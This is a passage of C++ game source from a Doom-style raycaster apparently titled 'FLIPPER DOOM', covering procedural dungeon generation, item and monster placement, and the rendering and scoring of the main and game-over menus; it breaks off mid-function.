if (Map::GetCellSafe(x, y - 1) == CellType::Empty)
result++;
return result;
}
MapGenerator::NeighbourInfo MapGenerator::GetRoomNeighbourMask(uint8_t x, uint8_t y, uint8_t w, uint8_t h)
{
NeighbourInfo result;
result.mask = 0;
result.count = 0;
result.canDemolishNorth = y > 1;
result.canDemolishWest = x > 1;
result.canDemolishEast = x + w + 1 < Map::width - 1;
result.canDemolishSouth = y + h + 1 < Map::height - 1;
// Don't demolish walls if the neighbouring room has the same wall length
if (Map::GetCell(x - 1, y - 2) != CellType::Empty && Map::GetCell(x + w, y - 2) != CellType::Empty)
{
result.canDemolishNorth = false;
}
if (Map::GetCell(x - 2, y - 1) != CellType::Empty && Map::GetCell(x - 2, y + h) != CellType::Empty)
{
result.canDemolishWest = false;
}
if (Map::GetCell(x + w + 1, y - 1) != CellType::Empty && Map::GetCell(x + w, y + h + 1) != CellType::Empty)
{
result.canDemolishEast = false;
}
if (Map::GetCell(x - 1, y + h + 1) != CellType::Empty && Map::GetCell(x + w, y + h + 1) != CellType::Empty)
{
result.canDemolishSouth = false;
}
// Don't demolish wall if this will leave an unattached wall
if (Map::GetCell(x - 1, y - 2) == CellType::Empty && Map::GetCell(x - 2, y - 1) == CellType::Empty)
{
result.canDemolishNorth = false;
result.canDemolishWest = false;
}
if (Map::GetCell(x + w, y - 2) == CellType::Empty && Map::GetCell(x + w + 1, y - 1) == CellType::Empty)
{
result.canDemolishNorth = false;
result.canDemolishEast = false;
}
if (Map::GetCell(x + w, y + h + 1) == CellType::Empty && Map::GetCell(x + w + 1, y + h) == CellType::Empty)
{
result.canDemolishSouth = false;
result.canDemolishEast = false;
}
if (Map::GetCell(x - 1, y + h + 1) == CellType::Empty && Map::GetCell(x - 2, y + h) == CellType::Empty)
{
result.canDemolishSouth = false;
result.canDemolishWest = false;
}
bool hasNorthWall = Map::GetCell(x, y - 1) != CellType::Empty && Map::GetCell(x + w - 1, y - 1) != CellType::Empty;
bool hasEastWall = Map::GetCell(x + w, y) != CellType::Empty && Map::GetCell(x + w, y + h - 1) != CellType::Empty;
bool hasSouthWall = Map::GetCell(x, y + h) != CellType::Empty && Map::GetCell(x + w - 1, y + h) != CellType::Empty;
bool hasWestWall = Map::GetCell(x - 1, y) != CellType::Empty && Map::GetCell(x - 1, y + h - 1) != CellType::Empty;
if (!hasNorthWall)
{
result.canDemolishNorth = false;
result.canDemolishEast = false;
result.canDemolishWest = false;
}
if (!hasEastWall)
{
result.canDemolishNorth = false;
result.canDemolishEast = false;
result.canDemolishSouth = false;
}
if (!hasSouthWall)
{
result.canDemolishEast = false;
result.canDemolishSouth = false;
result.canDemolishWest = false;
}
if (!hasWestWall)
{
result.canDemolishNorth = false;
result.canDemolishSouth = false;
result.canDemolishWest = false;
}
for (int i = x; i < x + w; i++)
{
if (Map::GetCell(i, y - 1) == CellType::Empty)
{
result.hasNorth = true;
result.count++;
}
if (Map::GetCell(i, y + h) == CellType::Empty)
{
result.hasSouth = true;
result.count++;
}
// Don't demolish wall if there is an intersecting wall attached
if (y > 1 && Map::GetCell(i, y - 2) != CellType::Empty)
{
result.canDemolishNorth = false;
}
if (y + h + 1 < Map::height - 1 && Map::GetCell(i, y + h + 1) != CellType::Empty)
{
result.canDemolishSouth = false;
}
}
for (int j = y; j < y + h; j++)
{
if (Map::GetCell(x - 1, j) == CellType::Empty)
{
result.hasWest = true;
result.count++;
}
if (Map::GetCell(x + w, j) == CellType::Empty)
{
result.hasEast = true;
result.count++;
}
// Don't demolish wall if there is an intersecting wall attached
if (x > 1 && Map::GetCell(x - 2, j) != CellType::Empty)
{
result.canDemolishWest = false;
}
if (x + w + 1 < Map::width - 1 && Map::GetCell(x + w + 1, j) != CellType::Empty)
{
result.canDemolishEast = false;
}
}
return result;
}
void MapGenerator::SplitMap(uint8_t x, uint8_t y, uint8_t w, uint8_t h, uint8_t doorX, uint8_t doorY)
{
constexpr int minRoomSize = 3;
constexpr int maxRoomSize = 8;
//constexpr int maxFloorSpace = 80;
constexpr int demolishWallChance = 20;
if (doorX != 0 && doorY != 0)
{
Map::SetCell(doorX, doorY, CellType::Empty);
}
bool splitVertical = false;
bool splitHorizontal = false;
if (w > maxRoomSize || h > maxRoomSize)//w * h > maxFloorSpace)
{
if (w < h)
{
splitVertical = true;
}
else
{
splitHorizontal = true;
}
}
if (splitVertical)
{
uint8_t splitSize;
uint8_t splitAttempts = 255;
do
{
splitSize = (Random() % (h - 2 * minRoomSize)) + minRoomSize;
splitAttempts--;
} while (splitAttempts > 0 && (Map::GetCell(x - 1, y + splitSize) == CellType::Empty || Map::GetCell(x + w, y + splitSize) == CellType::Empty
|| Map::GetCell(x - 1, y + splitSize - 1) == CellType::Empty || Map::GetCell(x + w, y + splitSize - 1) == CellType::Empty
|| Map::GetCell(x - 1, y + splitSize + 1) == CellType::Empty || Map::GetCell(x + w, y + splitSize + 1) == CellType::Empty));
if (splitAttempts > 0)
{
uint8_t splitDoorX = x + (Random() % (w - 2)) + 1;
uint8_t splitDoorY = y + splitSize;
for (uint8_t i = x; i < x + w; i++)
{
Map::SetCell(i, y + splitSize, CellType::BrickWall);
}
SplitMap(x, y + splitSize + 1, w, h - splitSize - 1, splitDoorX, splitDoorY);
SplitMap(x, y, w, splitSize, splitDoorX, splitDoorY);
return;
}
}
else if (splitHorizontal)
{
uint8_t splitSize;
uint8_t splitAttempts = 255;
do
{
splitSize = (Random() % (w - 2 * minRoomSize)) + minRoomSize;
splitAttempts--;
} while (splitAttempts > 0 && (Map::GetCell(x + splitSize, y - 1) == CellType::Empty || Map::GetCell(x + splitSize, y + h) == CellType::Empty
|| Map::GetCell(x + splitSize - 1, y - 1) == CellType::Empty || Map::GetCell(x + splitSize - 1, y + h) == CellType::Empty
|| Map::GetCell(x + splitSize + 1, y - 1) == CellType::Empty || Map::GetCell(x + splitSize + 1, y + h) == CellType::Empty));
if (splitAttempts > 0)
{
uint8_t splitDoorX = x + splitSize;
uint8_t splitDoorY = y + (Random() % (h - 2)) + 1;
for (uint8_t j = y; j < y + h; j++)
{
Map::SetCell(x + splitSize, j, CellType::BrickWall);
}
SplitMap(x + splitSize + 1, y, w - splitSize - 1, h, splitDoorX, splitDoorY);
SplitMap(x, y, splitSize, h, splitDoorX, splitDoorY);
return;
}
}
{
NeighbourInfo neighbours = GetRoomNeighbourMask(x, y, w, h);
if (neighbours.canDemolishNorth && (Random() % 100) < demolishWallChance)
{
for (int i = 0; i < w; i++)
{
Map::SetCell(x + i, y - 1, CellType::Empty);
}
}
else if (neighbours.canDemolishWest && (Random() % 100) < demolishWallChance)
{
for (int j = 0; j < h; j++)
{
Map::SetCell(x - 1, y + j, CellType::Empty);
}
}
else if (neighbours.canDemolishSouth && (Random() % 100) < demolishWallChance)
{
for (int i = 0; i < w; i++)
{
Map::SetCell(x + i, y + h, CellType::Empty);
}
}
else if (neighbours.canDemolishEast && (Random() % 100) < demolishWallChance)
{
for (int j = 0; j < h; j++)
{
Map::SetCell(x + w, y + j, CellType::Empty);
}
}
// Add decorations
{
// Add four cornering columns
if (w == h && w >= 7 && h >= 7)
{
Map::SetCell(x + 1, y + 1, CellType::BrickWall);
Map::SetCell(x + w - 2, y + 1, CellType::BrickWall);
Map::SetCell(x + w - 2, y + h - 2, CellType::BrickWall);
Map::SetCell(x + 1, y + h - 2, CellType::BrickWall);
}
}
}
}
void MapGenerator::Generate()
{
uint8_t playerStartX = 1;
uint8_t playerStartY = 1;
for (int y = 0; y < Map::height; y++)
{
for (int x = 0; x < Map::width; x++)
{
bool isEdge = x == 0 || y == 0 || x == Map::width - 1 || y == Map::height - 1;
Map::SetCell(x, y, isEdge ? CellType::BrickWall : CellType::Empty);
}
}
SplitMap(1, 1, Map::width - 2, Map::height - 2, 0, 0);
// Find any big open spaces
{
bool hasOpenSpaces = true;
while (hasOpenSpaces)
{
hasOpenSpaces = false;
uint8_t x = 0, y = 0, space = 0;
for (uint8_t i = 1; i < Map::width - 1; i++)
{
for (uint8_t j = 0; j < Map::height - 1; j++)
{
bool foundWall = false;
for (uint8_t k = 0; k < Map::height && !foundWall; k++)
{
for (uint8_t u = 0; u < k && !foundWall; u++)
{
for (uint8_t v = 0; v < k && !foundWall; v++)
{
if (Map::GetCellSafe(i + u, j + v) != CellType::Empty)
{
foundWall = true;
}
}
}
if (!foundWall && k > space)
{
space = k;
x = i;
y = j;
}
}
}
}
if (space > 6)
{
hasOpenSpaces = true;
// Stick a donut in the middle
for (uint8_t n = 2; n < space - 2; n++)
{
Map::SetCell(x + n, y + 2, CellType::BrickWall);
Map::SetCell(x + 2, y + n, CellType::BrickWall);
Map::SetCell(x + n, y + space - 3, CellType::BrickWall);
Map::SetCell(x + space - 3, y + n, CellType::BrickWall);
}
}
}
}
// Add torches
{
uint8_t attempts = 255;
uint8_t toSpawn = 64;
uint8_t minSpacing = 3;
while (attempts > 0 && toSpawn > 0)
{
uint8_t x = Random() % Map::width;
uint8_t y = Random() % Map::height;
if (Map::GetCellSafe(x, y) == CellType::Empty)
{
NeighbourInfo info = GetCellNeighbourInfo(x, y);
if(info.count == 1 && GetDistanceToCellType(x, y, CellType::Torch) > minSpacing)
{
Map::SetCell(x, y, CellType::Torch);
toSpawn--;
attempts = 255;
}
}
attempts--;
}
}
// Add monsters
{
uint8_t attempts = 255;
uint8_t monstersToSpawn = EnemyManager::maxEnemies;
CellType monsterType = CellType::Monster;
uint8_t minSpacing = 3;
while (attempts > 0 && monstersToSpawn > 0)
{
uint8_t x = Random() % Map::width;
uint8_t y = Random() % Map::height;
if (Map::GetCellSafe(x, y) == CellType::Empty && Map::IsClearLine(x * CELL_SIZE + CELL_SIZE / 2, y * CELL_SIZE + CELL_SIZE / 2, playerStartX * CELL_SIZE + CELL_SIZE / 2, playerStartY * CELL_SIZE + CELL_SIZE / 2) == false)
{
NeighbourInfo info = GetCellNeighbourInfo(x, y);
if (info.count == 0 && GetDistanceToCellType(x, y, monsterType) > minSpacing)
{
Map::SetCell(x, y, monsterType);
monstersToSpawn--;
attempts = 255;
}
}
attempts--;
}
}
// Add blocking decorations
{
uint8_t attempts = 255;
uint8_t toSpawn = 255;
CellType cellType = CellType::Urn;
uint8_t minSpacing = 3;
while (attempts > 0 && toSpawn > 0)
{
uint8_t x = Random() % Map::width;
uint8_t y = Random() % Map::height;
if (Map::GetCellSafe(x, y) == CellType::Empty)
{
NeighbourInfo info = GetCellNeighbourInfo(x, y);
if(info.IsCorner() && GetDistanceToCellType(x, y, cellType) > minSpacing)
{
Map::SetCell(x, y, cellType);
toSpawn--;
attempts = 255;
}
}
attempts--;
}
}
// Add entrance and exit
Map::SetCell(1, 1, CellType::Entrance);
Map::SetCell(Map::width - 3, Map::height - 3, CellType::Exit);
// Add sign
if(false)
{
uint16_t attempts = 65535;
constexpr uint8_t closeness = 5;
while (attempts > 0)
{
uint8_t x = Random() % closeness;
uint8_t y = Random() % closeness;
if (Map::GetCellSafe(x, y) == CellType::Empty
&& Map::GetCellSafe(x - 1, y) == CellType::Empty
&& Map::GetCellSafe(x, y - 1) == CellType::Empty
&& Map::GetCellSafe(x + 1, y) == CellType::Empty
&& Map::GetCellSafe(x, y + 1) == CellType::Empty
&& Map::GetCellSafe(x - 1, y - 1) == CellType::Empty
&& Map::GetCellSafe(x + 1, y - 1) == CellType::Empty
&& Map::GetCellSafe(x - 1, y + 1) == CellType::Empty
&& Map::GetCellSafe(x + 1, y + 1) == CellType::Empty
&& Map::IsClearLine(x * CELL_SIZE + CELL_SIZE / 2, y * CELL_SIZE + CELL_SIZE / 2, playerStartX * CELL_SIZE + CELL_SIZE / 2, playerStartY * CELL_SIZE + CELL_SIZE / 2))
{
Map::SetCell(x, y, CellType::Sign);
break;
}
attempts--;
}
}
else if(Game::floor == 1)
{
Map::SetCell(2, 2, CellType::Sign);
}
// Add treasure / items
{
uint16_t attempts = 65535;
uint8_t toSpawn = 8;
CellType cellType = CellType::Chest;
uint8_t minSpacing = 3;
uint8_t minExitSpacing = 6;
while (attempts > 0 && toSpawn > 0)
{
uint8_t x = Random() % Map::width;
uint8_t y = Random() % Map::height;
switch (Random() % 5)
{
case 0:
cellType = CellType::Potion;
break;
case 1:
cellType = CellType::Coins;
break;
case 2:
cellType = CellType::Chest;
break;
case 3:
cellType = CellType::Crown;
break;
case 4:
cellType = CellType::Scroll;
break;
}
if (Map::GetCellSafe(x, y) == CellType::Empty)
{
NeighbourInfo info = GetCellNeighbourInfo(x, y);
if(info.count == 1
&& GetDistanceToCellType(x, y, cellType) > minSpacing
&& GetDistanceToCellType(x, y, CellType::Entrance) > minExitSpacing
&& GetDistanceToCellType(x, y, CellType::Exit) > minExitSpacing)
{
Map::SetCell(x, y, cellType);
toSpawn--;
attempts = 255;
}
}
attempts--;
}
}
}
@@ -0,0 +1,60 @@
#pragma once
#include <stdint.h>
#include "game/Map.h"
class MapGenerator
{
public:
static void Generate();
private:
struct NeighbourInfo
{
union
{
uint8_t mask;
struct
{
bool hasNorth : 1;
bool hasEast : 1;
bool hasSouth : 1;
bool hasWest : 1;
bool canDemolishNorth : 1;
bool canDemolishEast : 1;
bool canDemolishSouth : 1;
bool canDemolishWest : 1;
};
};
uint8_t count;
bool IsCorner() const
{
if (count != 2)
return false;
if (hasNorth && hasEast)
return true;
if (hasEast && hasSouth)
return true;
if (hasSouth && hasWest)
return true;
if (hasWest && hasNorth)
return true;
return false;
}
};
static uint8_t CountNeighbours(uint8_t x, uint8_t y);
static uint8_t CountImmediateNeighbours(uint8_t x, uint8_t y);
static NeighbourInfo GetRoomNeighbourMask(uint8_t x, uint8_t y, uint8_t w, uint8_t h);
static void SplitMap(uint8_t x, uint8_t y, uint8_t w, uint8_t h, uint8_t doorX, uint8_t doorY);
static NeighbourInfo GetCellNeighbourInfo(uint8_t x, uint8_t y);
static uint8_t GetDistanceToCellType(uint8_t x, uint8_t y, CellType cellType);
};
@@ -0,0 +1,705 @@
#include "game/Defines.h"
#include "game/Platform.h"
#include "game/Menu.h"
#include "game/Font.h"
#include "game/Game.h"
#include "game/Draw.h"
#include "game/Textures.h"
#include "game/Generated/SpriteTypes.h"
#include "game/Map.h"
#include "game/FixedMath.h"
#include "lib/EEPROM.h"
#include <stdio.h>
#include <string.h>
constexpr uint8_t EEPROM_BASE_ADDR = 0;
struct ObjDesc {
const uint16_t* sprite;
bool animated;
bool invert;
uint8_t varsIndex;
};
static const ObjDesc kObjects[] = {
{ chestSpriteData, false, false, 0 },
{ crownSpriteData, false, false, 1 },
{ scrollSpriteData, false, false, 2 },
{ coinsSpriteData, false, false, 3 },
{ skeletonSpriteData, true, false, 4 },
{ mageSpriteData, true, false, 5 },
{ batSpriteData, true, false, 6 },
{ spiderSpriteData, true, false, 7 },
{ exitSpriteData, false, false, 8 }
};
static constexpr uint8_t kObjectsCount = (uint8_t)(sizeof(kObjects) / sizeof(kObjects[0]));
static constexpr uint8_t SHIFT_MASK = 63;
namespace {
constexpr uint8_t MENU_ITEMS_COUNT = 4;
constexpr uint8_t VISIBLE_ROWS = 2;
constexpr uint8_t MENU_FIRST_ROW = 4;
constexpr uint8_t TEXT_X = 18;
constexpr uint8_t CURSOR_X = 10;
constexpr uint8_t SPLASH_TIME_TICKS = 90;
static uint8_t splashTimer = 0;
static bool splashActive = true;
static uint8_t Wrap(int v, int n) {
v %= n;
if(v < 0) v += n;
return (uint8_t)v;
}
static uint8_t MaxTop() {
return (MENU_ITEMS_COUNT > VISIBLE_ROWS) ? (uint8_t)(MENU_ITEMS_COUNT - VISIBLE_ROWS) : 0;
}
void DrawMenuRoom() {
const int16_t leftWall = 1 * CELL_SIZE;
const int16_t rightWall = 4 * CELL_SIZE;
const int16_t topWall = 1 * CELL_SIZE;
const int16_t bottomWall = 4 * CELL_SIZE;
Renderer::camera.x = (int16_t)((leftWall + rightWall) / 2);
Renderer::camera.y = (int16_t)((topWall + bottomWall) / 2);
static uint16_t angleFP = 0;
constexpr uint16_t SPEED_FP = 64;
angleFP = (uint16_t)(angleFP + SPEED_FP);
Renderer::camera.angle = (uint8_t)(angleFP >> 8);
Renderer::camera.tilt = 0;
Renderer::camera.bob = 0;
Renderer::globalRenderFrame++;
Renderer::DrawBackground();
Renderer::numBufferSlicesFilled = 0;
Renderer::numQueuedDrawables = 0;
for(uint8_t n = 0; n < DISPLAY_WIDTH; n++) {
Renderer::wBuffer[n] = 0;
Renderer::horizonBuffer[n] = HORIZON +
(((DISPLAY_WIDTH / 2 - n) * Renderer::camera.tilt) >> 8) +
Renderer::camera.bob;
}
Renderer::camera.cellX = Renderer::camera.x / CELL_SIZE;
Renderer::camera.cellY = Renderer::camera.y / CELL_SIZE;
{
uint16_t rotPhase = (uint16_t)(0 - angleFP);
uint8_t a0 = (uint8_t)(rotPhase >> 8);
uint8_t f = (uint8_t)(rotPhase & 0xff);
uint8_t a1 = (uint8_t)(a0 + 1);
int16_t c0 = FixedCos(a0);
int16_t c1 = FixedCos(a1);
int16_t s0 = FixedSin(a0);
int16_t s1 = FixedSin(a1);
Renderer::camera.rotCos = (int16_t)(c0 + (((int32_t)(c1 - c0) * f) >> 8));
Renderer::camera.rotSin = (int16_t)(s0 + (((int32_t)(s1 - s0) * f) >> 8));
}
{
uint16_t clipPhase = (uint16_t)(((uint16_t)CLIP_ANGLE << 8) - angleFP);
uint8_t a0 = (uint8_t)(clipPhase >> 8);
uint8_t f = (uint8_t)(clipPhase & 0xff);
uint8_t a1 = (uint8_t)(a0 + 1);
int16_t c0 = FixedCos(a0);
int16_t c1 = FixedCos(a1);
int16_t s0 = FixedSin(a0);
int16_t s1 = FixedSin(a1);
Renderer::camera.clipCos = (int16_t)(c0 + (((int32_t)(c1 - c0) * f) >> 8));
Renderer::camera.clipSin = (int16_t)(s0 + (((int32_t)(s1 - s0) * f) >> 8));
}
#if WITH_IMAGE_TEXTURES
const uint16_t* texture = wallTextureData;
#elif WITH_VECTOR_TEXTURES
const uint8_t* texture = vectorTexture0;
#endif
constexpr int8_t MIN_CELL = 0;
constexpr int8_t MAX_CELL = 4;
#define MENU_SOLID(cx, cy) (((cx) == 0) || ((cx) == MAX_CELL) || ((cy) == 0) || ((cy) == MAX_CELL))
#define MENU_SOLID_SAFE(cx, cy) \
(((cx) < MIN_CELL || (cx) > MAX_CELL || (cy) < MIN_CELL || (cy) > MAX_CELL) ? \
true : \
MENU_SOLID((cx), (cy)))
int8_t xd, yd;
int8_t x1, y1, x2, y2;
if(Renderer::camera.rotCos > 0) {
x1 = MIN_CELL;
x2 = MAX_CELL + 1;
xd = 1;
} else {
x2 = MIN_CELL - 1;
x1 = MAX_CELL;
xd = -1;
}
if(Renderer::camera.rotSin < 0) {
y1 = MIN_CELL;
y2 = MAX_CELL + 1;
yd = 1;
} else {
y2 = MIN_CELL - 1;
y1 = MAX_CELL;
yd = -1;
}
auto drawMenuCell = [&](int8_t x, int8_t y) {
if(!MENU_SOLID(x, y)) return;
if(Renderer::isFrustrumClipped(x, y)) return;
if(Renderer::numBufferSlicesFilled >= DISPLAY_WIDTH) return;
const bool blockedLeft = MENU_SOLID_SAFE(x - 1, y);
const bool blockedRight = MENU_SOLID_SAFE(x + 1, y);
const bool blockedUp = MENU_SOLID_SAFE(x, y - 1);
const bool blockedDown = MENU_SOLID_SAFE(x, y + 1);
int16_t wx1 = (int16_t)(x * CELL_SIZE);
int16_t wy1 = (int16_t)(y * CELL_SIZE);
int16_t wx2 = (int16_t)(wx1 + CELL_SIZE);
int16_t wy2 = (int16_t)(wy1 + CELL_SIZE);
if(!blockedLeft && Renderer::camera.x < wx1) {
#if WITH_TEXTURES
Renderer::DrawWall(
texture,
wx1,
wy1,
wx1,
wy2,
!blockedUp && Renderer::camera.y > wy1,
!blockedDown && Renderer::camera.y < wy2,
false);
#else
Renderer::DrawWall(
wx1,
wy1,
wx1,
wy2,
!blockedUp && Renderer::camera.y > wy1,
!blockedDown && Renderer::camera.y < wy2,
false);
#endif
}
if(!blockedDown && Renderer::camera.y > wy2) {
#if WITH_TEXTURES
Renderer::DrawWall(
texture,
wx1,
wy2,
wx2,
wy2,
!blockedLeft && Renderer::camera.x > wx1,
!blockedRight && Renderer::camera.x < wx2,
false);
#else
Renderer::DrawWall(
wx1,
wy2,
wx2,
wy2,
!blockedLeft && Renderer::camera.x > wx1,
!blockedRight && Renderer::camera.x < wx2,
false);
#endif
}
if(!blockedRight && Renderer::camera.x > wx2) {
#if WITH_TEXTURES
Renderer::DrawWall(
texture,
wx2,
wy2,
wx2,
wy1,
!blockedDown && Renderer::camera.y < wy2,
!blockedUp && Renderer::camera.y > wy1,
false);
#else
Renderer::DrawWall(
wx2,
wy2,
wx2,
wy1,
!blockedDown && Renderer::camera.y < wy2,
!blockedUp && Renderer::camera.y > wy1,
false);
#endif
}
if(!blockedUp && Renderer::camera.y < wy1) {
#if WITH_TEXTURES
Renderer::DrawWall(
texture,
wx2,
wy1,
wx1,
wy1,
!blockedRight && Renderer::camera.x < wx2,
!blockedLeft && Renderer::camera.x > wx1,
false);
#else
Renderer::DrawWall(
wx2,
wy1,
wx1,
wy1,
!blockedRight && Renderer::camera.x < wx2,
!blockedLeft && Renderer::camera.x > wx1,
false);
#endif
}
};
if(ABS(Renderer::camera.rotCos) < ABS(Renderer::camera.rotSin)) {
for(int8_t y = y1; y != y2; y += yd) {
for(int8_t x = x1; x != x2; x += xd) {
drawMenuCell(x, y);
}
}
} else {
for(int8_t x = x1; x != x2; x += xd) {
for(int8_t y = y1; y != y2; y += yd) {
drawMenuCell(x, y);
}
}
}
#undef MENU_SOLID_SAFE
#undef MENU_SOLID
}
}
void Menu::Draw() {
if (splashActive) {
// Title screen converted from the user's own shareware WAD
Platform::DrawSolidBitmap(0, 0, titleBitmapData);
return;
}
DrawMenuRoom();
Font::PrintString(PSTR("FLIPPER DOOM"), 2, 40, COLOUR_WHITE);
for (uint8_t row = 0; row < VISIBLE_ROWS; ++row) {
uint8_t idx = (uint8_t)(m_topIndex + row);
if (idx >= MENU_ITEMS_COUNT) break;
PrintItem(idx, (uint8_t)(MENU_FIRST_ROW + row));
}
static uint8_t bubble = 0;
static uint16_t lastFrameSeen = 0xFFFF;
const uint16_t frame = (uint16_t)Game::globalTickFrame;
if (frame != lastFrameSeen) {
if ((frame & SHIFT_MASK) == 0) {
bubble = (uint8_t)(bubble + 2);
if (bubble >= kObjectsCount) bubble = (uint8_t)(bubble - kObjectsCount);
if (bubble >= kObjectsCount) bubble = (uint8_t)(bubble - kObjectsCount);
}
lastFrameSeen = frame;
}
const uint8_t num1 = bubble;
uint8_t num2 = (uint8_t)(bubble + 1);
if (num2 >= kObjectsCount) num2 = 0;
const ObjDesc& sprite1 = kObjects[num1];
const ObjDesc& sprite2 = kObjects[num2];
const int animOffset = ((Game::globalTickFrame & 8) == 0) ? 32 : 0;
const int off1 = sprite1.animated ? animOffset : 0;
const int off2 = sprite2.animated ? animOffset : 0;
const uint16_t* torchSprite =
(Game::globalTickFrame & 4) ? torchSpriteData1 : torchSpriteData2;
if (sprite1.invert) {
Renderer::DrawScaled(sprite1.sprite + off1, 66, 29, 9, 255, true, COLOUR_BLACK);
} else {
Renderer::DrawScaled(sprite1.sprite + off1, 66, 29, 9, 255);
}
if (sprite2.invert) {
Renderer::DrawScaled(sprite2.sprite + off2, 96, 30, 9, 255, true, COLOUR_BLACK);
} else {
Renderer::DrawScaled(sprite2.sprite + off2, 96, 30, 9, 255);
}
Renderer::DrawScaled(torchSprite, 0, 10, 9, 255);
Renderer::DrawScaled(torchSprite, DISPLAY_WIDTH - 18, 10, 9, 255);
Font::PrintInt(m_save[sprite1.varsIndex], MENU_FIRST_ROW + 1, 86, COLOUR_WHITE);
Font::PrintInt(m_save[sprite2.varsIndex], MENU_FIRST_ROW + 1, 116, COLOUR_WHITE);
Font::PrintString(PSTR(">"), (uint8_t)(MENU_FIRST_ROW + m_cursorPos), CURSOR_X, COLOUR_WHITE);
}
void Menu::PrintItem(uint8_t idx, uint8_t row) {
switch(idx) {
case 0:
Font::PrintString(PSTR("Play"), row, TEXT_X, COLOUR_WHITE);
break;
case 1:
Font::PrintString(PSTR("Sound:"), row, TEXT_X, COLOUR_WHITE);
Font::PrintString(
Platform::IsAudioEnabled() ? PSTR("on") : PSTR("off"), row, TEXT_X + 28, COLOUR_WHITE);
break;
case 2:
Font::PrintString(PSTR("Score:"), row, TEXT_X, COLOUR_WHITE);
Font::PrintInt(m_score, row, TEXT_X + 28, COLOUR_WHITE);
break;
case 3:
Font::PrintString(PSTR("High:"), row, TEXT_X, COLOUR_WHITE);
Font::PrintInt(m_high, row, TEXT_X + 28, COLOUR_WHITE);
break;
}
}
void Menu::Init() {
m_selection = 0;
m_topIndex = 0;
m_cursorPos = 0;
splashTimer = 0;
splashActive = true;
}
void Menu::DrawEnteringLevel() {
DrawMenuRoom();
Font::PrintString(PSTR("Entering E1M"), 3, 34, COLOUR_BLACK);
Font::PrintInt(Game::floor, 3, 82, COLOUR_BLACK);
}
static int CountCharsInt(int v) {
int n = 1;
if(v < 0) {
n++;
v = -v;
} // минус тоже символ
while(v >= 10) {
v /= 10;
n++;
}
return n;
}
void PrintScoreCentered(int finalScore) {
const int screenW = 128;
int n = CountCharsInt(finalScore);
int textW = 4 * n - 1;
int x = (screenW - textW) / 2;
Font::PrintInt(finalScore, 2, x, COLOUR_BLACK);
}
void Menu::DrawGameOver() {
uint16_t finalScore = 0;
constexpr int finishBonus = 500;
constexpr int levelBonus = 20;
constexpr int chestBonus = 15;
constexpr int crownBonus = 10;
constexpr int scrollBonus = 8;
constexpr int coinsBonus = 4;
constexpr int skeletonKillBonus = 10;
constexpr int mageKillBonus = 10;
constexpr int batKillBonus = 5;
constexpr int spiderKillBonus = 4;
finalScore += (Game::floor - 1) * levelBonus;
if(Game::stats.killedBy == EnemyType::None) finalScore += finishBonus;
finalScore += Game::stats.chestsOpened * chestBonus;
finalScore += Game::stats.crownsCollected * crownBonus;
finalScore += Game::stats.scrollsCollected * scrollBonus;
finalScore += Game::stats.coinsCollected * coinsBonus;
finalScore += Game::stats.enemyKills[(int)EnemyType::Skeleton] * skeletonKillBonus;
finalScore += Game::stats.enemyKills[(int)EnemyType::Mage] * mageKillBonus;
finalScore += Game::stats.enemyKills[(int)EnemyType::Bat] * batKillBonus;
finalScore += Game::stats.enemyKills[(int)EnemyType::Spider] * spiderKillBonus;
DrawMenuRoom();
PrintScoreCentered(finalScore);
switch(Game::stats.killedBy) {
case EnemyType::Exit:
Font::PrintString(PSTR("You have left the game."), 1, 18, COLOUR_BLACK);
break;
case EnemyType::None:
Font::PrintString(PSTR("You escaped the base!"), 1, 22, COLOUR_BLACK);
break;
case EnemyType::Mage:
Font::PrintString(PSTR("Killed by an imp on level"), 1, 8, COLOUR_BLACK);
Font::PrintInt(Game::floor, 1, 112, COLOUR_BLACK);
break;
case EnemyType::Skeleton:
Font::PrintString(PSTR("Killed by a demon on level"), 1, 6, COLOUR_BLACK);
Font::PrintInt(Game::floor, 1, 114, COLOUR_BLACK);
break;
case EnemyType::Bat:
Font::PrintString(PSTR("Killed by a sergeant on level"), 1, 2, COLOUR_BLACK);
Font::PrintInt(Game::floor, 1, 120, COLOUR_BLACK);
break;
case EnemyType::Spider:
Font::PrintString(PSTR("Killed by a zombie on level"), 1, 4, COLOUR_BLACK);
Font::PrintInt(Game::floor, 1, 116, COLOUR_BLACK);
break;
}
constexpr uint8_t firstRow = 21;
constexpr uint8_t secondRow = 38;
int offset = (Game::globalTickFrame & 8) == 0 ? 32 : 0;
Renderer::DrawScaled(chestSpriteData, 6, firstRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.chestsOpened, 4, 24, COLOUR_BLACK);
Renderer::DrawScaled(crownSpriteData, 6, secondRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.crownsCollected, 6, 24, COLOUR_BLACK);
Renderer::DrawScaled(scrollSpriteData, 36, firstRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.scrollsCollected, 4, 54, COLOUR_BLACK);
Renderer::DrawScaled(coinsSpriteData, 36, secondRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.coinsCollected, 6, 54, COLOUR_BLACK);
Renderer::DrawScaled(skeletonSpriteData + offset, 72, firstRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.enemyKills[(int)EnemyType::Skeleton], 4, 90, COLOUR_BLACK);
Renderer::DrawScaled(mageSpriteData + offset, 72, secondRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.enemyKills[(int)EnemyType::Mage], 6, 90, COLOUR_BLACK);
Renderer::DrawScaled(batSpriteData + offset, 102, firstRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.enemyKills[(int)EnemyType::Bat], 4, 120, COLOUR_BLACK);
Renderer::DrawScaled(spiderSpriteData + offset, 102, secondRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.enemyKills[(int)EnemyType::Spider], 6, 120, COLOUR_BLACK);
m_save[0] = Game::stats.chestsOpened;
m_save[1] = Game::stats.crownsCollected;
m_save[2] = Game::stats.scrollsCollected;
m_save[3] = Game::stats.coinsCollected;
m_save[4] = Game::stats.enemyKills[(int)EnemyType::Skeleton];
m_save[5] = Game::stats.enemyKills[(int)EnemyType::Mage];
m_save[6] = Game::stats.enemyKills[(int)EnemyType::Bat];
m_save[7] = Game::stats.enemyKills[(int)EnemyType::Spider];
m_save[8] = 0;
if(Game::floor > 0) {
m_save[8] = Game::floor - 1;
}
SetScore(finalScore);
}
void Menu::Tick() {
static uint8_t lastInput = 0;
uint8_t input = Platform::GetInput();
if(splashActive) {
